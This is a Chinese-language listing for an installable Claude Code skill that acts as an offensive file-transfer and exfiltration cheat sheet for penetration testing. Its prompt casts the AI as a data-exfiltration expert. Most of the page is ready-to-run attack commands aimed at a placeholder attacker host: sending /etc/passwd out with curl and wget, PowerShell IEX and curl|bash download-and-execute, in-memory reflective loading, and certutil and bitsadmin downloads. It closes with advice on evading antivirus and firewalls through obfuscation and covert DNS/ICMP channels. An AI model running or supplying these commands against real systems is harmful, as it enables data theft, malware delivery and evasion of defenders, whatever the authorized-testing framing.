关于 transferring-files
介绍系统间文件传输的安全技能,涵盖下载、上传、暂存和外传方法。内容整理了 Linux 与 Windows 操作、常见传输协议、编码方式及系统自带工具。
主要功能
- 01Linux 和 Windows 传输方法
- 02HTTP、SMB、FTP、SCP 与 netcat 流程
- 03文件托管与传输服务器设置
- 04编码、压缩和暂存方法
- 05系统原生工具与替代通道方案
适用场景
- 01在授权测试中于系统间传输文件
- 02搭建本地 HTTP、SMB 或 FTP 文件服务
- 03出口流量受限时选择传输方式
- 04在受控评估中暂存或编码文件
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill transferring-files安装后在 Claude Code 中输入/transferring-files确认已加载。
附带文件references/command-catalogs.md
详细介绍
文件传输技术技能
你是文件传输和数据外传专家。用户请求以下方面的帮助时,请使用此技能:
- 在系统之间传输文件
- 数据外传技术
- 利用系统自带工具进行文件传输的方法
- 跨平台文件操作
- 编码和混淆
- 绕过出口流量过滤
- 建立文件服务器
适用场景
用户提出以下请求时,请启用此技能:
- 在系统之间传输文件
- 将文件下载到已攻陷的系统
- 从目标系统外传数据
- 为攻击设置文件服务器
- 绕过出口流量过滤
- 使用利用系统自带工具的技术
- 对文件传输进行编码或混淆
- 协助进行数据暂存
不适用场景
- 尚未取得代码执行权限——使用相关的初始访问技能
- 外传真实客户数据——不在授权范围内;只演示传输渠道,不传输数据
- 以防御者身份检测数据外传——使用
hunting-threats
核心方法
1. Linux 文件下载
wget:
# Basic download
wget http://10.10.10.10/file.txt
# Save with different name
wget http://10.10.10.10/file.txt -O output.txt
# Recursive download
wget -r http://10.10.10.10/directory/
# Download in background
wget -b http://10.10.10.10/largefile.zip
curl:
# Basic download
curl http://10.10.10.10/file.txt -o file.txt
curl -O http://10.10.10.10/file.txt # Keep original name
# Follow redirects
curl -L http://10.10.10.10/file.txt -o file.txt
# Download with auth
curl -u user:password http://10.10.10.10/file.txt -o file.txt
# Download multiple files
curl -O http://10.10.10.10/file[1-10].txt
Netcat:
# Receiver
nc -lvnp 4444 > file.txt
# Sender
nc 10.10.10.10 4444 < file.txt
# With progress (use pv)
nc -lvnp 4444 | pv > file.txt
pv file.txt | nc 10.10.10.10 4444
Base64 编码(用于复制粘贴):
# Encode on attacker machine
base64 file.txt > file.b64
cat file.b64 # Copy this
# Decode on target
echo "BASE64_STRING_HERE" | base64 -d > file.txt
# Or in one command
echo "BASE64STRING" | base64 -d > file.txt
Python HTTP 服务器(用于托管文件):
# Python 3
python3 -m http.server 8000
# Python 2
python -m SimpleHTTPServer 8000
# Ruby
ruby -run -e httpd . -p 8000
# PHP
php -S 0.0.0.0:8000
2. Windows 文件下载
PowerShell:
# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
iwr -Uri "http://10.10.10.10/file.exe" -OutFile "C:\Temp\file.exe"
# DownloadFile
(New-Object Net.WebClient).DownloadFile("http://10.10.10.10/file.exe", "C:\Temp\file.exe")
# DownloadString (download and execute)
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
# Download and execute in memory
$data = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
certutil:
# Download file
certutil.exe -urlcache -split -f "http://10.10.10.10/file.exe" file.exe
# Alternative syntax
certutil -urlcache -f "http://10.10.10.10/file.exe" file.exe
# Clean cache
certutil.exe -urlcache * delete
bitsadmin:
# Download file
bitsadmin /transfer job /download /priority high http://10.10.10.10/file.exe C:\Temp\file.exe
# Verify and complete
bitsadmin /complete job
cmd.exe(VBS 脚本): 当 PowerShell/certutil/bitsadmin 不可用时,
使用 cmd.exe 构建 WinHTTP 下载器。参见
references/command-catalogs.md。
3. Linux 文件上传/外传
HTTP POST:
# curl
curl -X POST -F "file=@/etc/passwd" http://10.10.10.10:8000/upload
# With auth
curl -X POST -F "[email protected]" http://10.10.10.10:8000/upload -u user:pass
# wget
wget --post-file=/etc/passwd http://10.10.10.10:8000/upload
SCP(如果 SSH 可用):
# Upload
scp file.txt [email protected]:/tmp/
# Download
scp [email protected]:/tmp/file.txt ./
# Recursive
scp -r directory/ [email protected]:/tmp/
# With key
scp -i id_rsa file.txt [email protected]:/tmp/
Netcat:
# Receiver (attacker)
nc -lvnp 4444 > received_file.txt
# Sender (target)
nc 10.10.10.10 4444 < file.txt
Socat:
# Receiver
socat TCP4-LISTEN:4444,fork file:received.txt
# Sender
socat TCP4:10.10.10.10:4444 file:file.txt
隐蔽渠道(DNS / ICMP): 当常规出口流量受到过滤时,通过 DNS 查询或 ICMP 数据包将数据隧道传出。参见 references/command-catalogs.md。
4. Windows 文件上传
PowerShell:
# Upload via HTTP POST
$file = Get-Content "C:\Temp\file.txt" -Raw
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $file
# Upload file object
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Temp\file.exe")
Invoke-RestMethod -Uri "http://10.10.10.10:8000/upload" -Method Post -Body $fileBytes
SMB:
# Copy to SMB share
copy C:\Temp\file.txt \\10.10.10.10\share\
# Map drive first
net use Z: \\10.10.10.10\share
copy C:\Temp\file.txt Z:\
FTP:
# Create FTP script
echo open 10.10.10.10 > ftp.txt
echo user username password >> ftp.txt
echo binary >> ftp.txt
echo put file.exe >> ftp.txt
echo bye >> ftp.txt
# Execute
ftp -s:ftp.txt
5. SMB 文件传输
Linux 到 Windows:
# Mount SMB share on Linux
smbclient //10.10.10.10/share -U username
# In smbclient:
put local_file.txt
get remote_file.txt
# Mount and copy
mount -t cifs //10.10.10.10/share /mnt/smb -o username=user,password=pass
cp file.txt /mnt/smb/
Windows 到 Linux:
# Start Samba server on Linux
sudo smbserver.py share /tmp/share -smb2support
# From Windows
copy C:\file.txt \\10.10.10.10\share\
Impacket smbserver:
# On attacker (Linux)
sudo impacket-smbserver share /tmp/share -smb2support
sudo impacket-smbserver share /tmp/share -smb2support -username user -password pass
# On target (Windows)
# No auth
copy file.txt \\10.10.10.10\share\
\\10.10.10.10\share\file.exe
# With auth
net use \\10.10.10.10\share /user:user pass
copy file.txt \\10.10.10.10\share\
6. FTP 文件传输
Linux FTP 服务器:
# Python pyftpdlib
sudo python3 -m pyftpdlib -p 21 -w
# vsftpd (if installed)
sudo service vsftpd start
Windows FTP 客户端:
# Interactive
ftp 10.10.10.10
# Scripted
echo open 10.10.10.10 21 > ftp.txt
echo USER username >> ftp.txt
echo password >> ftp.txt
echo binary >> ftp.txt
echo GET file.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
7. 利用系统自带工具(LOLBAS/GTFOBins)
优先使用已签名的原生二进制程序(Windows 上的 certutil、mshta、regsvr32、rundll32; Linux 上的 GTFOBins 条目),以融入正常活动并绕过允许列表。完整命令目录: references/command-catalogs.md。
8. 数据库数据外传
如果你拥有数据库访问权限,可以读写主机文件系统,或通过数据库引擎本身执行命令
(MySQL INTO OUTFILE/LOAD_FILE、MSSQL
xp_cmdshell、PostgreSQL COPY ... TO/FROM PROGRAM)。各引擎的 SQL 命令:
references/command-catalogs.md。
9. 编码/混淆
传输前进行编码,以适应有损渠道并规避内容检查: 复制粘贴使用 base64,二进制安全传输使用 hex,使用 gzip/tar 压缩并打包。命令目录: references/command-catalogs.md。
10. 持久化和暂存
下载并执行:
# Linux
wget http://10.10.10.10/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh
# One-liner
curl http://10.10.10.10/script.sh | bash
# PowerShell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')"
内存中执行:
# PowerShell - never touches disk
$code = (New-Object Net.WebClient).DownloadString('http://10.10.10.10/script.ps1')
IEX $code
# Reflective DLL loading
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.10.10/payload.dll')
[System.Reflection.Assembly]::Load($bytes)
快速参考命令
启动 HTTP 服务器(攻击者):
python3 -m http.server 8000
sudo python3 -m http.server 80
启动 SMB 服务器(攻击者):
sudo impacket-smbserver share /tmp/share -smb2support
在目标上下载(Linux):
wget http://10.10.10.10:8000/file
curl http://10.10.10.10:8000/file -o file
在目标上下载(Windows):
certutil -urlcache -f http://10.10.10.10:8000/file.exe file.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10:8000/file.exe','file.exe')"
从目标上传:
# Linux
curl -X POST -F "[email protected]" http://10.10.10.10:8000/
nc 10.10.10.10 4444 < file.txt
# Windows
copy file.txt \\10.10.10.10\share\
故障排除
防火墙拦截:
- 尝试其他端口(80、443、53)
- 使用 DNS/ICMP 外传
- 对数据进行编码并使用允许的协议
AV 检测:
- 对有效载荷进行编码/混淆
- 使用内存中执行
- 将文件拆分成多个块
- 使用合法工具(LOLBAS)
无法访问互联网:
- 使用本地文件共享(SMB、NFS)
- 如果可进行物理访问,则使用可移动介质
- 如果可访问数据库,则使用数据库 OUT FILE
- 使用本地服务(内部网络上的 FTP、HTTP)
参考链接
- LOLBAS Project:https://lolbas-project.github.io/
- GTFOBins:https://gtfobins.github.io/
- HackTricks 文件传输:https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration
- PayloadsAllTheThings:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/File%20Transfer.md
参考资料
- references/command-catalogs.md — Windows VBS 下载器、DNS/ICMP 隐蔽信道、LOLBAS/GTFOBins、数据库渗出及编码/混淆的完整可复制粘贴命令清单。
ATT&CK 覆盖范围
根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据
当前 ATT&CK 版本重新核实。
资源开发(TA0042)
- T1608 部署能力 — 另见
performing-social-engineering
横向移动(TA0008)
- T1570 横向工具传输
收集(TA0009)
命令与控制(TA0011)
- T1090 代理
- T1105 入站工具传输
- T1132 数据编码 — 另见
analyzing-malware、analyzing-network-traffic - T1572 协议隧道 — 另见
hunting-threats
数据渗出(TA0010)
- T1041 通过 C2 通道渗出数据
- T1048 通过替代协议渗出数据 — 另见
hunting-threats、analyzing-network-traffic - T1567 通过 Web 服务渗出数据 — 另见
hunting-threats
针对上述任一项的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后响应:responding-to-incidents。